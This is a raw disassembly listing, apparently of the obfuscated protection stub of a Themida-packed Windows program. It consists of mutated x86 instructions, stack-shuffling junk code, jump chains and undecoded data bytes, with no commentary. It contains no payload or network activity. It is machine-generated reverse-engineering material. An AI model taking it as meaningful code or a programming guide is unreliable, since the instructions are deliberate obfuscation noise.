		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55D432
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 39EE9h, 6AF38100h, 8B676E46h, 69E92414h
		db 67h,	2 dup(0FFh)
byte_5656FB	db 66h			; DATA XREF: Themida_:005529F8o
		dd 68240C8Bh, 6B81h, 0E9243C89h, 0FFFF4F83h
; ---------------------------------------------------------------------------


loc_56570C:				; CODE XREF: Themida_:0055BB29j
		pop	esi
		and	eax, ecx
		jmp	loc_5636C7
; ---------------------------------------------------------------------------
		dd 4BB5358h, 29000000h,	241C8BD9h, 8704C483h, 895C240Ch
		dd 0E9512434h, 0FFFEED80h
; ---------------------------------------------------------------------------


loc_565730:				; CODE XREF: Themida_:0055A8C2j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5648FB
; ---------------------------------------------------------------------------
dword_565738	dd 84E932FFh		; DATA XREF: Themida_:00552C44o
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56573F:				; CODE XREF: Themida_:0055A1CCj
		sub	eax, ebx
		push	edx
		mov	edx, 6DDA1D8Ch
		not	edx
		shr	edx, 5
		jmp	loc_5571B4
; ---------------------------------------------------------------------------


loc_565751:				; CODE XREF: Themida_:00561C93j
		mov	esp, [esp]
		mov	[esp], cx
		mov	ch, 25h
		dec	ch
		add	ch, 0DBh
		xor	ch, 52h
		jmp	loc_564A47
; ---------------------------------------------------------------------------
byte_565767	db 66h			; DATA XREF: Themida_:00552A24o
		dd 8324048Bh, 348904ECh, 27406824h, 0E9540000h,	0FFFF6548h
; ---------------------------------------------------------------------------


loc_56577C:				; CODE XREF: Themida_:005586BEj
		push	edi
		mov	edi, 44A347D9h
		jmp	loc_55C038
; ---------------------------------------------------------------------------


loc_565787:				; CODE XREF: Themida_:005608E2j
		pop	ecx
		and	eax, edi
		jmp	loc_55CE8A
; ---------------------------------------------------------------------------
		db 29h
		dd 97E95EF0h, 89000007h, 90B9240Ch, 8169306Eh, 3874BDC1h
		dd 1C98144h, 5631FA7Dh,	481DEEBEh, 5EF1316Bh, 4867C181h
		dd 0CA294B0Dh, 3BF5759h, 0E9658B4Eh, 0FFFFA14Ah
; ---------------------------------------------------------------------------


loc_5657C8:				; CODE XREF: Themida_:0055E82Aj
		push	ebx
		jmp	loc_566B62
; ---------------------------------------------------------------------------


loc_5657CE:				; CODE XREF: Themida_:005570A8j
		sub	ecx, 4AAF535Eh
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 5CF6A48Eh
		add	esi, 141E7572h
		sub	esi, 74F811AFh
		sub	esi, ecx
		add	esi, 74F811AFh
		sub	esi, 141E7572h
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_562FCC
; ---------------------------------------------------------------------------
		dd 1B685257h, 5A70282Ch, 3A46E94Ah, 34FFFFFFh, 0C4835824h
		dd 88A9E904h
		db 2 dup(0FFh)
word_565826	dw 8B66h		; DATA XREF: Themida_:00552B7Co
		dd 4B682404h, 89000001h, 0FF54242Ch, 95E92434h
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56583B:				; CODE XREF: Themida_:00566362j
		xor	ebx, 452E3D35h
		shr	ebx, 8
		not	ebx
		add	ebx, 0F4E25961h
		push	ebx
		sub	dword ptr [esp], 69EC158Ch
		jmp	loc_55B274
; ---------------------------------------------------------------------------


loc_565859:				; CODE XREF: Themida_:00563A30j
		push	eax
		mov	eax, 83A7DEDh
		jmp	loc_56505E
; ---------------------------------------------------------------------------
		dd 0E950E589h, 0FFFF2404h
dword_56586C	dd 0FA0FE9ACh, 0F768FFFEh, 89000062h, 5954240Ch, 4C181h
					; DATA XREF: Themida_:00552BE4o
		dd 0E9830000h, 240C8704h, 240C895Ch, 0DB78A5B9h, 6F76E918h
		dd 159FFFFh, 78C381D3h,	0E97BCA5Bh, 0FFFF9287h,	5E246856h
		dd 89E90000h, 5FFFFF6Ah, 1B1DE9h, 24048900h, 0FEDB49E9h
		dd 1BEE81FFh, 1F4FDFDh,	8BE95EF2h, 1FFFED4h, 0BFBD55CBh
		dd 504DA947h, 0F3418FB8h, 0E2E0D4Fh, 0F8E92B95h, 81FFFFE0h
		dd 4C4h, 76C78100h, 0E917FE2Dh,	0FFFFF679h, 9D58D3BDh
		dd 0E9EA2925h, 0FFFFCC3Bh
dword_565900	dd 0E9240C30h, 0FFFF4A48h, 52242489h, 4BAh, 56D1E900h
					; DATA XREF: Themida_:00552A5Co
		dd 0C289FFFFh, 8BD70958h, 0C4812414h, 4, 0FDE95457h, 87FFFF23h
		dd 895C2404h, 4BB241Ch,	0E9000000h, 0FFFFAF21h,	104C483h
		dd 78EBE9C3h, 814AFFFFh, 9F368EAh, 3481525Ah, 9811AF24h
		dd 0F5815D46h, 469811AFh, 0FFCD7CE9h, 240429FFh, 0D359E99Ch
		dd 0E0D1FFFEh, 0CEBB2E35h, 0BAC581D4h, 138586Bh, 0B48E9C5h
		dd 2966FFFFh, 148B66D6h, 2C48124h, 66000000h, 5EE9F001h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565993:				; CODE XREF: Themida_:005558BBj
		xchg	ebx, [esp]
		pop	esp
		sub	eax, 1D75110Bh
		jmp	loc_565D47
; ---------------------------------------------------------------------------


loc_5659A1:				; CODE XREF: Themida_:005539EFj
		push	esi
		jmp	loc_55FBF1
; ---------------------------------------------------------------------------


loc_5659A7:				; CODE XREF: Themida_:0055FF87j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_558697
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2474FF24h, 48F5A04h,	0C4835C24h, 0DAE8E904h,	0EE83FFFFh
		dd 388AE904h, 0C181FFFFh, 4, 6CFE9h, 5C82900h, 3D8D7A4Fh
		dd 7909C12Dh, 0EF73E962h, 0EAC1FFFEh, 4E2C108h,	11EEF281h
		dd 0D089798Fh, 0FFF0315Ah, 575E2434h, 0FF66B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565A05:				; CODE XREF: Themida_:0055F169j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	699Eh
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5617F0
; ---------------------------------------------------------------------------
aZpsps		db 'ZPSPИ,',1Bh,0
		align 4


loc_565A3C:				; CODE XREF: Themida_:00552CFDj
		push	dx
		mov	dh, 6Ch
		jmp	loc_55BEFF
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0E0h
		dd 0D1623A7Ch, 89C781EFh, 553B584Dh, 3F3712BDh,	46CD8176h
		dd 0E92BA675h, 0FFFEF073h, 73E9F800h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A6B:				; CODE XREF: Themida_:0055BAC9j
		push	eax
		jmp	loc_55648C
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0B9h
		dd 0E91EEF55h, 1460h
; ---------------------------------------------------------------------------


loc_565A7C:				; CODE XREF: Themida_:0055FF35j
		neg	edx
		sub	edx, 0F8974058h
		or	ebx, edx
		jmp	loc_553A3F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9242C87h, 0FFFFC163h
; ---------------------------------------------------------------------------


loc_565A94:				; CODE XREF: Themida_:0055A568j
		sub	eax, 32DB4F9Ch
		xor	eax, 2DD742CDh
		sub	eax, 0B20610E4h
		mov	edx, eax
		pop	eax
		shr	edx, 4
		shr	edx, 5
		sub	edx, 29F405CDh
		jmp	loc_55B4DF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BE5605EDh, 2E56BD4h, 506BF57h, 0CF817457h, 6452C8Fh
		dd 66AEE957h, 0D2F7FFFFh, 5610B951h, 93E96C30h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565ADF:				; CODE XREF: Themida_:00565BD7j
		pop	ecx
		jmp	loc_5614F3
; ---------------------------------------------------------------------------


loc_565AE5:				; CODE XREF: Themida_:0055874Cj
		push	edx
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55A0BE
; ---------------------------------------------------------------------------
aBqf		db ')о│ОД',0
		db 4Bh
		dd 240C8B17h, 0B904C483h, 131F4829h, 3C26F181h,	0D9F77F77h
		dd 0E904E1C1h, 0FFFFEAEAh, 4C4815Ch, 68000000h,	6855h
		dd 0E9241C89h, 0FFFFC090h, 31240C33h, 0C33240Ch, 1C895C24h
		dd 0E9D2B324h, 0FFFEF6F4h
dword_565B48	dd 240C8B66h, 88568h, 24048900h, 0FF964DE9h, 0D7E95BFFh
					; DATA XREF: Themida_:00552B0Co
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B5F:				; CODE XREF: Themida_:0056501Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		push	74E1h
		mov	[esp], esp
		jmp	loc_564F74
; ---------------------------------------------------------------------------


loc_565B73:				; CODE XREF: Themida_:00555BF2j
		add	esp, 4
		sub	esi, 4F4E17A3h
		mov	ebx, esi
		pop	esi
		shr	ebx, 6
		sub	ebx, 3AF85A92h
		sub	ebx, 0FFFFFFFFh
		push	ecx
		push	edi
		jmp	loc_55B2F1
; ---------------------------------------------------------------------------
		dw 0CCFEh
		dd 0FED9DFE9h, 24048FFFh, 6624248Bh, 8124048Bh,	4ECh, 24148900h
		dd 0FF938AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565BB1:				; CODE XREF: Themida_:0056045Aj
		mov	edi, ebx
		pop	ebx
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559F13
; ---------------------------------------------------------------------------
		dd 0FED0FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565BC9:				; CODE XREF: Themida_:0055D0F2j
		push	edi
		jmp	loc_5578E2
; ---------------------------------------------------------------------------


loc_565BCF:				; CODE XREF: Themida_:0055BB7Fj
		sub	ecx, 54957E9h
		sub	edi, ecx
		jmp	loc_565ADF
; ---------------------------------------------------------------------------
		dd 0CB79E953h, 0A268FFFFh, 581D0923h, 2B266852h, 148B7363h
		dd 4C48324h, 4DD4F281h,	82E9204Dh, 30FFFED1h, 512C5AF5h
		dd 5104E828h, 0FF0F9FE9h, 24248BFFh, 0FF2166E9h, 4C481FFh
		dd 1000000h, 4CE955CEh
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C23:				; CODE XREF: Themida_:005548BAj
		push	ecx
		push	eax
		mov	eax, 77CE2162h
		mov	ecx, eax
		pop	eax
		sub	esi, 1E05765Eh
		jmp	loc_5575B9
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF4C63h, 621685B8h, 0AE89BB45h, 0C3016492h
		dd 0FFD82958h, 80E92434h, 52FFFFE9h, 0F28057B2h, 3B85E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C62:				; CODE XREF: Themida_:005669F6j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5B8C7C62h
		jmp	loc_56098C
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 835E0000h, 2FE904ECh, 0BFFFFF18h, 186C33F7h
		dd 259EEB81h, 0FB013028h, 259EC381h, 3C8B3028h,	4C48124h
		dd 68000000h, 37EBh, 57240489h,	3137F968h, 243C8B5Dh, 4C481h
		dd 0EF810000h, 2A3CF01Ch, 3C8BF889h, 4C48324h, 6B60BE25h
		dd 0D1AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565CD6:				; CODE XREF: Themida_:0055E237j
		push	eax
		mov	eax, 7F431F6Ch
		sub	eax, 783EEF79h
		sub	edi, eax
		jmp	loc_5608CC
; ---------------------------------------------------------------------------


loc_565CE8:				; CODE XREF: Themida_:00565E6Ej
		add	ecx, eax
		pop	eax
		push	edi
		push	ebp
		push	6A4E133Ah
		jmp	loc_557E7C
; ---------------------------------------------------------------------------
		db 66h
		dd 2404BB0Fh, 0CFC1E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565D02:				; CODE XREF: Themida_:00557C26j
		mov	ebx, 64841D97h
		inc	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0
		sub	edi, ebx
		jmp	loc_560C70
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 0FFFEE634h, 7685E951h, 405FFFFh, 81000000h, 4ECh, 24148900h
		dd 0FFF188E9h, 2157BBFFh, 24E9502Ah
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D47:				; CODE XREF: Themida_:0056599Cj
		sub	eax, edi
		add	eax, 1D75110Bh
		pop	edi
		push	0FE0h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_56214F
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 0E9515200h,	0FFFF8BBDh, 2434FF5Dh
		dd 0E1895159h, 4C181h, 41E90000h, 66FFFFACh, 778EC681h
		dd 0E9F30166h, 0FFFFAB1Fh
; ---------------------------------------------------------------------------


loc_565DA0:				; CODE XREF: Themida_:005580E0j
		pop	edx
		xor	edx, 5435230Fh
		jmp	loc_55E82F
; ---------------------------------------------------------------------------
		dd 348BF029h, 4C48124h,	0E9000000h, 1B6h, 8359CF01h, 3C8704C7h
		dd 5F685C24h, 89000028h, 5BF243Ch, 56580F27h, 6A619CBEh
		dd 0A6EE8120h, 0F72AB04Bh, 0ADCE81DEh, 0C114FA13h, 0EC8302E6h
		dd 24048904h, 0B0107BB8h, 0E9C62964h, 0FFFF99ADh, 12266851h
		dd 81593CF2h, 0B9D2BCE9h, 348151BDh, 576E4824h,	0F7815F3Eh
		dd 3E576E48h, 81E7D159h, 891E6FE7h, 0BA525648h,	970CD70Ch
		dd 0FF2357E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565E2D:				; CODE XREF: Themida_:0055C57Bj
		add	ebx, edi
		add	ebx, 0A365ED0h
		pop	edi
		push	7B2Ch
		mov	[esp], ebx
		jmp	loc_55BE84
; ---------------------------------------------------------------------------


loc_565E43:				; CODE XREF: Themida_:00556F4Fj
		mov	eax, ebx
		pop	ebx
		shr	eax, 3
		push	ebp
		mov	ebp, 2A822A8h
		and	eax, ebp
		pop	ebp
		shl	eax, 5
		sub	eax, 128229C8h
		xor	eax, 0AF5950C8h
		xor	eax, 53CC7753h
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 0EDE8F358h
		jmp	loc_565CE8
; ---------------------------------------------------------------------------


loc_565E73:				; CODE XREF: Themida_:00558F58j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	bl, 0Ch
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	2D55h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	25A6h
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, 43F0EB3h
		sub	eax, ecx
		sub	eax, 43F0EB3h
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	7E15h
		jmp	loc_5543BB
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	43304E8h, 24043124h, 0E9240433h
		dd 0FFFF12A8h, 8124048Bh, 4C4h,	38C6800h, 34890000h, 0F453E924h
		db 0FEh, 0FFh
word_565EF6	dw 8B66h		; DATA XREF: Themida_:005529FCo
		dd 6F68240Ch, 89000012h, 6A682404h, 8900000Dh, 4832424h
		dd 0BCE90424h, 89FFFFEDh, 0E9552414h, 0FFFF2451h, 4C48158h
		dd 81000000h, 4EFh, 0B7F9E900h,	0E959FFFFh, 0FFFF390Bh
		dd 4BFh, 0FFFE0100h, 0A6E92434h, 59FFFF70h, 8704C583h
		dd 815C242Ch, 0D81544F7h, 0E9FE8923h, 0FFFFA25Ah, 0ED81E952h
		dd 48FFFFFh, 0CFF5C24h,	58E99C24h
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565F6B:				; CODE XREF: Themida_:005577A7j
		shl	al, 1
		jmp	loc_55E3B1
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 7948BB53h, 0D8016E93h, 4335A5Bh, 24043124h, 8B240433h
		dd 0D2E92424h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F8F:				; CODE XREF: Themida_:005540D5j
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_567875
; ---------------------------------------------------------------------------
		db 89h,	0E9h, 5Dh
		dd 34FFCF01h, 2106E924h, 6855FFFFh, 1B886278h, 0F8E94D5Dh
		dd 81FFFEEEh, 5F25242Ch, 815E0E45h, 455F25C6h, 9789E90Eh
		dd 34FFFFFFh, 2434FF24h, 0FB6E959h, 0D6F7FFFFh,	0C102EEC1h
		dd 5DE902EEh, 58FFFFC9h, 8904EC83h, 0E6892434h,	98E95753h
		dd 0BFFFFFCBh, 19913ABCh, 0E2BE94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566002:				; CODE XREF: Themida_:0056196Dj
		shr	ebx, 2
		not	ebx
		jmp	loc_5551B0
; ---------------------------------------------------------------------------


loc_56600C:				; CODE XREF: Themida_:00560693j
		xor	ecx, edi
		pop	edi
		push	23C2h
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55A282
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 50B9240Ch, 0C1132B08h, 0E98106E9h, 0C27483Dh
		dd 5303E9C1h, 0D03140BBh, 0A977E93Eh, 2C8BFFFFh, 4C48324h
		dd 0E924148Bh, 0FFFF6321h
; ---------------------------------------------------------------------------


loc_566058:				; CODE XREF: Themida_:005626BCj
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55ADD3
; ---------------------------------------------------------------------------


loc_566092:				; CODE XREF: Themida_:00557661j
		shr	ah, 2
		add	ah, 0Fh
		jmp	loc_5596D0
; ---------------------------------------------------------------------------
byte_56609D	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00552B78o
		dd 0E9E18951h, 0FFFFF58Eh, 8704C183h, 685C240Ch, 6AE5h
		dd 0BA241489h, 6579DCE5h, 0FED242E9h, 48F54FFh,	4B95124h
		dd 0E9000000h, 0FFFEEB38h
; ---------------------------------------------------------------------------


loc_5660D0:				; CODE XREF: Themida_:0055BD8Bj
		push	109D3663h
		pop	edi
		jmp	loc_55F600
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 4EC81h, 2C890000h, 0E3895324h, 4C381h
		dd 0EB830000h, 241C8704h, 2AA5685Ch, 0EC810000h, 4, 0E9242489h
		dd 0FFFFA5E7h, 5800BEB9h, 0F7E1D127h, 0E9D9F7D1h, 0FFFF242Bh
		dd 6962E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566126:				; CODE XREF: Themida_:00554192j
		pop	esi
		add	esp, 4
		shr	ebp, 2
		shr	ebp, 8
		dec	ebp
		xor	ebp, 1BB90000h
		jmp	loc_55A191
; ---------------------------------------------------------------------------


loc_56613F:				; CODE XREF: Themida_:0055DCC9j
		shl	ebx, 3
		jmp	loc_55E451
; ---------------------------------------------------------------------------


loc_566147:				; CODE XREF: Themida_:00555A54j
		mov	ecx, 2A9D04E0h
		shr	ecx, 4
		not	ecx
		jmp	loc_55FEF4
; ---------------------------------------------------------------------------


loc_566156:				; CODE XREF: Themida_:00566FB2j
		mov	edi, 76430113h
		xor	ebx, edi
		pop	edi
		mov	esi, ebx
		pop	ebx
		push	ebp
		jmp	loc_566257
; ---------------------------------------------------------------------------
byte_566167	db 0FFh			; DATA XREF: Themida_:00552B70o
		dd 48B2434h, 4C48324h, 68AF68h,	0E6AAE900h, 0E6D1FFFEh
		dd 6C48E681h, 0CE817BB2h, 24C31176h, 5672F681h,	0C781024Ch
		dd 48F6397Dh, 8CE9F701h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56619B:				; CODE XREF: Themida_:00555F23j
		pop	esi
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 0BDh, 12h, 3
		dd 0EF89588Bh, 81242C8Bh, 4C4h,	6CB85000h, 0E973CF2Eh
		dd 8E8h, 0E924248Bh, 0FFFFEAA1h, 0C5BA5257h, 0BF2F8601h
		dd 3BDA603Fh, 41E9D731h, 8BFFFF56h, 0C4812414h,	4, 8B243C87h
		dd 89662424h, 0F66240Ch, 5166C8B6h, 0DC92E99Ch,	0EA81FFFFh
		dd 52598B84h, 0F75AD731h, 81CF81DFh, 810DAC73h,	2C3333C7h
		dd 8BFA896Dh, 0C481243Ch, 4, 8105EAC1h,	91CC4C2h, 3C66683Ch
		dd 54E90000h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56622B:				; CODE XREF: Themida_:00553595j
		push	cx
		mov	cl, 0E4h
		sub	al, 0DDh
		sub	al, 0C5h
		add	al, cl
		add	al, 0C5h
		add	al, 0DDh
		pop	cx
		sub	al, bh
		jmp	loc_560E69
; ---------------------------------------------------------------------------
		dw 18BBh
		dd 8971B54Ah, 39E95BD9h
		db 5Ah,	2 dup(0FFh)
byte_56624F	db 64h			; DATA XREF: Themida_:00552C4Co
		dd 6CE9028Fh
		db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566257:				; CODE XREF: Themida_:00566162j
		mov	ebp, 61997496h
		xchg	ecx, ebp
		push	edi
		mov	edi, 413667C4h
		add	edi, 246C1E4Fh
		not	edi
		jmp	loc_556113
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 6
		dd 7EE95653h, 8B000004h, 0C4832414h, 60E28104h,	8348980Fh
		dd 0C4E901EAh
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56628F:				; CODE XREF: Themida_:005551D3j
		pop	eax
		not	ebx
		jmp	loc_5547A5
; ---------------------------------------------------------------------------
		db 1
		dd 8104247Ch, 0E904246Ch, 5F602E07h, 582434FFh,	5104C483h
		dd 672552B9h, 68532D08h, 0C105592Ch, 2D627909h,	3D8D7A4Fh
		dd 0FFF714E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5662C5:				; CODE XREF: Themida_:0055CB43j
		add	esp, 4
		add	dh, 0BFh
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		sub	al, 8Eh
		jmp	loc_556087
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0C8704C1h, 24248B24h, 34FF5456h, 0D510E924h
		dd 0C8BFFFFh, 4C48124h,	51000000h, 8853E188h, 5BDA88CBh
		dd 0FFB3F4E9h, 148B66FFh, 9BA0E924h, 0BB53FFFFh, 5C363650h
		dd 0A72FF805h, 0E9D80116h, 0FFFF88F7h, 6FD4E959h, 3433FFFFh
		dd 24343124h, 0FFBAA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566339:				; CODE XREF: Themida_:0055FCB2j
		neg	ebx
		shr	ebx, 8
		or	ebx, 473973B1h
		and	ebx, 684A723Dh
		add	ebx, 0C9008F11h
		xor	edi, ebx
		pop	ebx
		push	eax
		push	2DACh
		mov	[esp], ebx
		push	7F2C7C13h
		pop	ebx
		jmp	loc_56583B
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2A9F0634h, 4165F681h, 0E6816A33h, 428B4983h,	0F7E9E6D1h
		dd 81FFFF91h, 0E112DBCAh, 0D8C28104h, 8129474Eh, 0AB6B56C3h
		dd 0B880E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566396:				; CODE XREF: Themida_:0056296Fj
		mov	esi, 592F4423h
		neg	esi
		shr	esi, 6
		add	esi, 0FD64BD15h
		jmp	loc_55E025
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF893DE9h, 0C18159FFh, 4, 8704E983h, 895C240Ch, 0CE92404h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5663C7:				; CODE XREF: Themida_:0055C87Dj
		not	ecx
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_55BD90
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0FFFF1C61h, 461C1368h,	0FB46E97Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5663EA:				; CODE XREF: Themida_:0056748Ej
		sub	edx, 451A58BAh
		jmp	loc_55C43F
; ---------------------------------------------------------------------------


loc_5663F5:				; CODE XREF: Themida_:00559795j
		add	eax, 3A722ED9h
		sub	esi, eax
		pop	eax
		xor	esi, 6203BD6h
		mov	[edi+20h], esi
		pop	esi


loc_566407:				; CODE XREF: Themida_:0055823Ej
					; Themida_:0055AF41j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5586B7
; ---------------------------------------------------------------------------
		db 81h
		dd 6C1AF7h, 0A8DE90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56641E:				; CODE XREF: Themida_:0055C70Ej
		add	eax, 4
		jmp	loc_563B36
; ---------------------------------------------------------------------------
		dd 68240489h, 57DE49C9h, 7974B958h, 0C129BCE8h,	0B4BD5558h
		dd 29095941h, 0E9815DE9h, 614A7CC7h, 1BD55h, 0C1810000h
		dd 38363EB5h, 0FF33CBE9h, 4C9568FFh, 0E95F264Ah, 0FFFFBD16h
; ---------------------------------------------------------------------------


loc_566464:				; CODE XREF: Themida_:00558BE8j
		xor	esi, 7B3B4219h
		add	edx, esi
		pop	esi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_556597
; ---------------------------------------------------------------------------
		db 68h
		dd 5DDBh, 55240489h, 1A0EB850h,	0C5897BC3h, 5124048Bh
		dd 7AE9E189h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566497:				; CODE XREF: Themida_:00554EC1j
		pop	esi
		push	7350h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0DA00A53h
		push	esi
		mov	esi, 14042EF9h
		jmp	loc_559BB4
; ---------------------------------------------------------------------------


loc_5664D4:				; CODE XREF: Themida_:00553509j
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562E14
; ---------------------------------------------------------------------------
		db 20h
		dd 2434FFE8h, 4EC8159h,	89000000h, 0E789243Ch, 4C781h
		dd 0EC830000h, 24348904h, 5D766850h, 14E90F64h,	29FFFFDAh
		dd 0C6C181F9h, 0E902B823h, 4EAh, 83C18159h, 0F76CEE26h
		dd 3E1C1D1h, 0B24E981h,	0BE567BA9h, 0E795A100h,	0FFA83CE9h
		dd 24048FFFh, 617E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566542:				; CODE XREF: Themida_:0055613Cj
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55E0F7
; ---------------------------------------------------------------------------
		dd 58DFCA81h, 0EAC17838h, 98BB5305h, 5105434Bh,	0A32DD2B9h
		dd 59CB0165h, 0FFDC3CE9h, 4C481FFh, 81000000h, 4C3h, 4C38100h
		dd 87000000h, 585C241Ch, 0D454E305h, 0B60F666Fh, 0A7686600h
		dd 4896677h, 0C72DE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566596:				; CODE XREF: Themida_:00564C7Dj
		mov	[esp], ebx
		push	0AAB2211h
		pop	ebx
		or	ebx, 7EDA09F8h
		neg	ebx
		and	ebx, 6C501D7Ch
		inc	ebx
		push	edx
		jmp	loc_55454C
; ---------------------------------------------------------------------------


loc_5665B4:				; CODE XREF: Themida_:0055C55Fj
		pop	esi
		sub	eax, edx
		jmp	loc_564C74
; ---------------------------------------------------------------------------
		dd 0FBB2E951h, 1468FFFEh, 8900004Dh, 77B82404h,	0E915397Dh
		dd 0FFFF579Ch
; ---------------------------------------------------------------------------


loc_5665D4:				; CODE XREF: Themida_:0055F9EEj
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5552D7
; ---------------------------------------------------------------------------
		dd 2B5EE281h, 0F2813095h, 1A575A41h, 0FF4985E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5665ED:				; CODE XREF: Themida_:00561A6Cj
		mov	ebx, eax
		pop	eax
		inc	ebx
		and	ebx, 75724DCDh
		xchg	edi, ebx
		dec	edi
		xchg	edi, ebx
		add	ebx, 21757C8Bh
		add	eax, ebx
		pop	ebx
		add	ebx, eax
		jmp	loc_557EDC
; ---------------------------------------------------------------------------


loc_56660C:				; CODE XREF: Themida_:0055D5EDj
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
